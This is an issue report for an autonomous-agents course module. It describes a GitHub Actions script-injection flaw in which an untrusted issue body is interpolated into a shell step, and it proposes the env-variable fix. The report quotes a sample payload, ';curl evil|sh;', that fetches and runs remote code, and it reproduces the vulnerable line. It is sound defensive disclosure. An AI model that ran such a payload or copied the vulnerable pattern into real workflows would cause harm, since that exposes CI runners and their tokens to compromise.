Fix GitHub Actions command injection in Module 25 agent-job.yml (untrusted issue body into shell) #24
Reference in New Issue
Block a user
Delete Branch "%!s()"
Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?
Problem
The reference workflow writes the issue body via
printf '%s' "${{ github.event.issue.body }}" > issue.mdinside arun:block. Interpolating${{ github.event.issue.body }}directly into shell is the textbook GitHub Actions script-injection vulnerability:${{ }}is expanded into the script text before the shell runs, so a crafted issue body (e.g.";curl evil|sh;") executes on the runner before the agent is even invoked. The step carriesAGENT_API_KEYand the job holdscontents/pull-requestswrite tokens, and the file's own security notes cover prompt injection but not this shell-injection in its own file.Evidence
modules/25-autonomous-agents/lab/agent-job.yml(~line 60):printf '%s' "${{ github.event.issue.body }}" > issue.mdinsiderun: |(the step already has anenv:block ~lines 51-56). Security notes (~lines 72-75) flagissue.bodyas untrusted only for prompt injection.Why it matters
A security-centric module that teaches least privilege and gates ships script-injection-vulnerable reference code that learners may copy into real workflows — against the correctness/honesty promise.
Proposed change
Pass the body via an environment variable (GitHub's documented mitigation):
env:block:BODY: ${{ github.event.issue.body }}.printf '%s' "$BODY" > issue.mdso the shell never re-parses the value.run:steps from prompt injection.This is portable (the file is already declared GitHub Actions flavor with Forgejo/Gitea noted as identical YAML).
Acceptance criteria
env:and read as$BODY, never interpolated into therun:script text.Affected files
modules/25-autonomous-agents/lab/agent-job.ymlReferences
Source finding F38 (realVotes 3/3).
Filed from an adversarial multi-agent course review (217 raw findings → 54 adversarially-verified survivors). Scoped for manual review; intentionally not auto-assigned to an agent.